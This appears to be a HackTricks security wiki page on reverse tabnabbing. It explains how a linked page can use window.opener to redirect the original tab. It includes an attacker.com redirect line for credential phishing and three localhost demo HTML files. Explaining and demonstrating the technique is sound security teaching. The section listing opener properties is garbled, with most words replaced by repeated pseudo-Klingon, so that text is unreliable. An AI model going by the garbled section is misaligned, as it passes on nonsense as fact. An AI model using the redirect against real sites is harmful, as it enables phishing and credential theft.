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https://github.com/carlospolop/hacktricks
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113 lines
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Markdown
113 lines
6.1 KiB
Markdown
<details>
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<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a> <strong>Learn AWS hacking from zero to hero with</strong></summary>
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Other ways to support HackTricks:
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* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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# Description
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In a situation where an **attacker** can **control** the **`href`** argument of an **`<a`** tag with the attribute **`target="_blank" rel="opener"`** that is going to be clicked by a victim, the **attacker** **point** this **link** to a web under his control (a **malicious** **website**). Then, once the **victim clicks** the link and access the attackers website, this **malicious** **website** will be able to **control** the **original** **page** via the javascript object **`window.opener`**.\
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If the page doesn't have **`rel="opener"` but contains `target="_blank"` it also doesn't have `rel="noopener"`** it might be also vulnerable.
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A regular way to abuse this behaviour would be to **change the location of the original web** via `window.opener.location = https://attacker.com/victim.html` to a web controlled by the attacker that **looks like the original one**, so it can **imitate** the **login** **form** of the original website and ask for credentials to the user.
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However, note that as the **attacker now can control the window object of the original website** he can abuse it in other ways to perform **stealthier attacks** (maybe modifying javascript events to ex-filtrate info to a server controlled by him?)
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# Overview
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## With back link
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Link between parent and child pages when prevention attribute is not used:
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## Without back link
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Link between parent and child pages when prevention attribute is used:
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## Examples <a href="#examples" id="examples"></a>
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Create the following pages in a folder and run a web server with `python3 -m http.server`\
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Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link and note how the **original** **website** **URL** **changes**.
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{% code title="vulnerable.html" %}
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```markup
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<!DOCTYPE html>
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<html>
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<body>
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<h1>Victim Site</h1>
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<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
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</body>
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</html>
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```
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{% code title="malicious.html" %}
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```markup
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<!DOCTYPE html>
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<html>
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<body>
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<script>
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window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
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</script>
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</body>
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</html>
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```
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{% code title="malicious_redir.html" %}
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```markup
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<!DOCTYPE html>
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<html>
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<body>
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<h1>New Malicious Site</h1>
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</body>
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</html>
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```
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{% endcode %}
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## QaQHa' Qapla' <a href="#qaqha-qapla" id="qaqha-qapla"></a>
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DaH jatlh **cross-origin** access vItlhutlh (vItlhutlh qetlh), **window** JavaScript class instance, **opener** JavaScript object reference, **malicious site** vItlhutlh 'e' vItlhutlh **accessible properties**:
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- **`opener.closed`**: vItlhutlh 'e' vItlhutlh window vItlhutlh, boolean value vItlhutlh.
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- **`opener.frames`**: vItlhutlh 'e' vItlhutlh iframe elements vItlhutlh current window.
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- **`opener.length`**: vItlhutlh 'e' vItlhutlh iframe elements vItlhutlh current window.
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- **`opener.opener`**: vItlhutlh 'e' vItlhutlh window vItlhutlh opened current window.
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- **`opener.parent`**: vItlhutlh 'e' vItlhutlh parent window vItlhutlh current window.
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- **`opener.self`**: vItlhutlh 'e' vItlhutlh current window vItlhutlh.
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- **`opener.top`**: vItlhutlh 'e' vItlhutlh topmost browser window.
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'ach, vItlhutlh 'e' domains vItlhutlh identical, **malicious site** vItlhutlh 'e' vItlhutlh **properties** exposed [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript object reference.
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# Qap
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Qap information documented [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
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## References
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* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
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<details>
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
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|
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Other ways to support HackTricks:
|
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|
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* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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